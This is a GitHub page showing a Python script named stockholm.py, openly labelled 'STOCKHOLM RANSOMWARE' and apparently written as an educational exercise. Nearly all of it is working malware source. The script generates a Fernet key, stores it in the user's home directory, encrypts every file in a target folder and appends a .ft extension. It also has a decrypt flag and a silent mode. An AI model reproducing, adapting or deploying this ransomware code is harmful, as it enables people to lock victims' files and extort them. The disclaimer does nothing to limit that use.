-
Notifications
You must be signed in to change notification settings - Fork 0
/
stockholm.py
executable file
·148 lines (137 loc) · 11.8 KB
/
stockholm.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
import os
import argparse
from shutil import ExecError
from tracemalloc import stop
from cryptography.fernet import Fernet
from getpass import getuser
from time import sleep
from tqdm import tqdm
user = getuser()
user_dir = '/home/' + user
default_dir = '/home/' + user + '/infection/'
# Flags
parser = argparse.ArgumentParser(
description="""
*** STOCKHOLM RANSOMWARE ***
Encrypt and decrypt all files and subdirectories affected by Wannacry.
It also changes extension of each file.
*** WARNING: This program was written for educational purposes.
The responsibility for the use and distribution of the tool lies with the user.
Use it at your own risk and enjoy! - salecler """
)
# Version
parser.add_argument('-v', '--version', action='store_true', help='show version of the program.')
# Reverse
parser.add_argument('-r', '--reverse', action='store_true', help="decrypt all the files and subdirectories. Also change back the file's extension.")
# Silent
parser.add_argument('-s', '--silent', action='store_true', help='will silent the program.')
args = parser.parse_args()
try:
if args.version == True and args.reverse == True:
err = "You are not allowed to use both flags at the same time."
print(err)
exit
elif args.version == True:
os.system("clear")
print("""
┏━┳┓╋╋╋╋┏┓┏┓
┃━┫┗┳━┳━┫┣┫┗┳━┳┓┏━━┓
┣━┃┏┫╋┃━┫━┫┃┃╋┃┗┫┃┃┃
┗━┻━┻━┻━┻┻┻┻┻━┻━┻┻┻┛""")
print("Version 1.1 - ", "salecler")
elif args.reverse == True:
os.system("clear")
print("""
╔═╗░░░░░╔═╗╔══════╗░╔════╗░╔═╗░░╔═╗╔═╗░░╔═╗░╔════╗░░╔════╗░░░░╔═╗░░░░╔═════╗
║██░╔═╗░║██╚███████╔╝█████╗║██░░║██╚██╗░║██╔╝█████╗╔╝█████╗░░░║██░░░╔╝██████
║██╔╝██╗║██░░░░░║██║██░░║██║██══╝██░╚██═╝██╚██░░║██║██░░║██░░░║██░░░╚██═══╗░
║██╝████╝██░░░░░║██║██░░║██║███████░╔═█████╔═╗░░║██║██░░║██░░░║██░░░░╚█████╗
║████░╚████░░░░░║██╚██══╝██║██░░║██╔╝██░║██╚██══╝██╚██══╝██╔══╝██══╗╔════╝██
╚███░░░╚███░░░░░╚██░╚█████░╚██░░╚██╚██░░╚██░╚█████░░╚█████░╚████████╚██████░""")
sleep(1)
os.system("clear")
print("""
██████╗░███████╗░█████╗░██████╗░██╗░░░██╗██████╗░████████╗██╗███╗░░██╗░██████╗░░░░░░░░░░
██╔══██╗██╔════╝██╔══██╗██╔══██╗╚██╗░██╔╝██╔══██╗╚══██╔══╝██║████╗░██║██╔════╝░░░░░░░░░░
██║░░██║█████╗░░██║░░╚═╝██████╔╝░╚████╔╝░██████╔╝░░░██║░░░██║██╔██╗██║██║░░██╗░░░░░░░░░░
██║░░██║██╔══╝░░██║░░██╗██╔══██╗░░╚██╔╝░░██╔═══╝░░░░██║░░░██║██║╚████║██║░░╚██╗░░░░░░░░░
██████╔╝███████╗╚█████╔╝██║░░██║░░░██║░░░██║░░░░░░░░██║░░░██║██║░╚███║╚██████╔╝██╗██╗██╗
╚═════╝░╚══════╝░╚════╝░╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░░░░░░░╚═╝░░░╚═╝╚═╝░░╚══╝░╚═════╝░╚═╝╚═╝╚═╝""")
os.chdir(user_dir)
with open("key", "rb") as thekey:
secret_key = thekey.read()
os.chdir(default_dir)
try:
for element in os.listdir(default_dir):
try:
base, en_element_ext, last = element.split('.')
new_ext = os.path.splitext(en_element_ext)[0]
with open(element, "rb") as thearchive:
en_content = thearchive.read()
de_content = Fernet(secret_key).decrypt(en_content)
with open(element, "wb") as thearchive:
thearchive.write(de_content)
reverse_archive = os.path.splitext(element)[-2]
if reverse_archive != '.ft' and reverse_archive != '':
base = os.path.splitext(element)[0]
os.rename(element, base)
new_base = os.path.splitext(element)[-1]
except:
print("\n" + element + " could not be decrypted because of his original extension !\n")
except Exception:
print("An error has occurred.")
print("Exiting...\n")
sleep(0.5)
exit()
sleep(1)
seconds = 10
for i in tqdm(range(seconds)):
sleep(.300)
sleep(2)
os.system("clear")
print("""
███████╗██╗██╗░░░░░███████╗░██████╗ ██╗░░██╗░█████╗░██╗░░░██╗███████╗ ██████╗░███████╗███████╗███╗░░██╗
██╔════╝██║██║░░░░░██╔════╝██╔════╝ ██║░░██║██╔══██╗██║░░░██║██╔════╝ ██╔══██╗██╔════╝██╔════╝████╗░██║
█████╗░░██║██║░░░░░█████╗░░╚█████╗░ ███████║███████║╚██╗░██╔╝█████╗░░ ██████╦╝█████╗░░█████╗░░██╔██╗██║
██╔══╝░░██║██║░░░░░██╔══╝░░░╚═══██╗ ██╔══██║██╔══██║░╚████╔╝░██╔══╝░░ ██╔══██╗██╔══╝░░██╔══╝░░██║╚████║
██║░░░░░██║███████╗███████╗██████╔╝ ██║░░██║██║░░██║░░╚██╔╝░░███████╗ ██████╦╝███████╗███████╗██║░╚███║
╚═╝░░░░░╚═╝╚══════╝╚══════╝╚═════╝░ ╚═╝░░╚═╝╚═╝░░╚═╝░░░╚═╝░░░╚══════╝ ╚═════╝░╚══════╝╚══════╝╚═╝░░╚══╝
░█████╗░░█████╗░██████╗░██████╗░███████╗░█████╗░████████╗██╗░░░░░██╗░░░██╗
██╔══██╗██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗╚══██╔══╝██║░░░░░╚██╗░██╔╝
██║░░╚═╝██║░░██║██████╔╝██████╔╝█████╗░░██║░░╚═╝░░░██║░░░██║░░░░░░╚████╔╝░
██║░░██╗██║░░██║██╔══██╗██╔══██╗██╔══╝░░██║░░██╗░░░██║░░░██║░░░░░░░╚██╔╝░░
╚█████╔╝╚█████╔╝██║░░██║██║░░██║███████╗╚█████╔╝░░░██║░░░███████╗░░░██║░░░
░╚════╝░░╚════╝░╚═╝░░╚═╝╚═╝░░╚═╝╚══════╝░╚════╝░░░░╚═╝░░░╚══════╝░░░╚═╝░░░
██████╗░███████╗░█████╗░██████╗░██╗░░░██╗██████╗░████████╗███████╗██████╗░
██╔══██╗██╔════╝██╔══██╗██╔══██╗╚██╗░██╔╝██╔══██╗╚══██╔══╝██╔════╝██╔══██╗
██║░░██║█████╗░░██║░░╚═╝██████╔╝░╚████╔╝░██████╔╝░░░██║░░░█████╗░░██║░░██║
██║░░██║██╔══╝░░██║░░██╗██╔══██╗░░╚██╔╝░░██╔═══╝░░░░██║░░░██╔══╝░░██║░░██║
██████╔╝███████╗╚█████╔╝██║░░██║░░░██║░░░██║░░░░░░░░██║░░░███████╗██████╔╝
╚═════╝░╚══════╝░╚════╝░╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░░░░░░░╚═╝░░░╚══════╝╚═════╝░""")
print("\n\n\n\n\n\nsalecler")
sleep(2)
os.system('clear')
# Encrypt the files
elif args.reverse == False and args.version == False:
# Create the key
os.chdir(user_dir)
key = Fernet.generate_key()
with open("key", "wb") as thekey:
thekey.write(key)
os.chdir(default_dir)
for element in os.listdir(default_dir):
element_ext = os.path.splitext(element)[-1]
if element_ext != '.ft' and element_ext != '':
if args.silent == False:
print(element)
with open(element, "rb") as thefile:
content = thefile.read()
encrypted_content = Fernet(key).encrypt(content)
with open(element, "wb") as thenewfile:
thenewfile.write(encrypted_content)
for archive in os.listdir(default_dir):
base_archive = os.path.splitext(archive)[-1]
if base_archive != '.ft' and base_archive != '':
os.rename(archive, archive + '.ft')
except Exception:
print("Something went wrong with the program.\nPlease try again.\n")